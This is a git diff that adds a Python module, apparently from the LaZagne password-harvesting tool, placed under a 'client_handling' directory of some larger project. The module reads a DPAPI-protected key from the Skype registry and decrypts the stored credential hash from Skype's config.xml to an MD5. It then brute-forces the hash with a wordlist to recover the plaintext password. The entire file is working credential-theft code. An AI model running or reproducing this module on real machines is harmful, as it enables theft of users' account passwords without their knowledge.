1 files changed, 144 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/chats/skype.py b/foreign/client_handling/lazagne/softwares/chats/skype.py
new file mode 100644
index 0000000..7970c7b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/skype.py
@@ -0,0 +1,144 @@
+# -*- coding: utf-8 -*-
+import binascii
+import hashlib
+import os
+import struct
+from xml.etree.cElementTree import ElementTree
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.dico import get_dic
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+try: 
+    import _winreg as winreg
+except ImportError:
+    import winreg
+
+
+class Skype(ModuleInfo):
+    def __init__(self):
+        ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
+
+        self.pwd_found = []
+
+    def aes_encrypt(self, message, passphrase):
+        iv = '\x00' * 16
+        aes = AESModeOfOperationCBC(passphrase, iv=iv)
+        return aes.encrypt(message)
+
+    # get value used to build the salt
+    def get_regkey(self):
+        try:
+            key_path = 'Software\\Skype\\ProtectedStorage'
+            try:
+                hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
+            except Exception as e:
+                self.debug(str(e))
+                return False
+
+            # num = winreg.QueryInfoKey(hkey)[1]
+            k = winreg.EnumValue(hkey, 0)[1]
+            return win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+        except Exception as e:
+            self.debug(str(e))
+            return False
+
+    # get hash from foreign.client_handling.lazagne.configuration file
+    def get_hash_credential(self, xml_file):
+        tree = ElementTree(file=xml_file)
+        encrypted_hash = tree.find('Lib/Account/Credentials3')
+        if encrypted_hash is not None:
+            return encrypted_hash.text
+        else:
+            return False
+
+    # decrypt hash to get the md5 to bruteforce
+    def get_md5_hash(self, enc_hex, key):
+        # convert hash from hex to binary
+        enc_binary = binascii.unhexlify(enc_hex)
+
+        # retrieve the salt
+        salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
+
+        # encrypt value used with the XOR operation
+        aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
+
+        # XOR operation
+        decrypted = []
+        for d in range(16):
+            decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
+
+        # cast the result byte
+        tmp = ''
+        for dec in decrypted:
+            tmp = tmp + struct.pack(">I", dec).strip('\x00')
+
+        # byte to hex
+        return binascii.hexlify(tmp)
+
+    def dictionary_attack(self, login, md5):
+        wordlist = constant.password_found + get_dic()
+        for word in wordlist:
+            hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
+            if hash_ == md5:
+                return word
+        return False
+
+    def get_username(self, path):
+        xml_file = os.path.join(path, u'shared.xml')
+        if os.path.exists(xml_file):
+            tree = ElementTree(file=xml_file)
+            username = tree.find('Lib/Account/Default')
+            try:
+                return win.string_to_unicode(username.text)
+            except Exception:
+                pass
+        return False
+
+    def get_info(self, key, username, path):
+        if os.path.exists(os.path.join(path, u'config.xml')):
+            values = {}
+
+            try:
+                values['Login'] = username
+
+                # get encrypted hash from the config file
+                enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
+
+                if not enc_hex:
+                    self.warning(u'No credential stored on the config.xml file.')
+                else:
+                    # decrypt the hash to get the md5 to brue force
+                    values['Hash'] = self.get_md5_hash(enc_hex, key)
+                    values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
+
+                    # Try a dictionary attack on the hash
+                    password = self.dictionary_attack(values['Login'], values['Hash'])
+                    if password:
+                        values['Password'] = password
+
+                    self.pwd_found.append(values)
+            except Exception as e:
+                self.debug(str(e))
+
+    def run(self):
+        path = os.path.join(constant.profile['APPDATA'], u'Skype')
+        if os.path.exists(path):
+            # retrieve the key used to build the salt
+            key = self.get_regkey()
+            if not key:
+                self.error(u'The salt has not been retrieved')
+            else:
+                username = self.get_username(path)
+                if username:
+                    d = os.path.join(path, username)
+                    if os.path.exists(d):
+                        self.get_info(key, username, d)
+
+                if not self.pwd_found:
+                    for d in os.listdir(path):
+                        self.get_info(key, d, os.path.join(path, d))
+
+                return self.pwd_found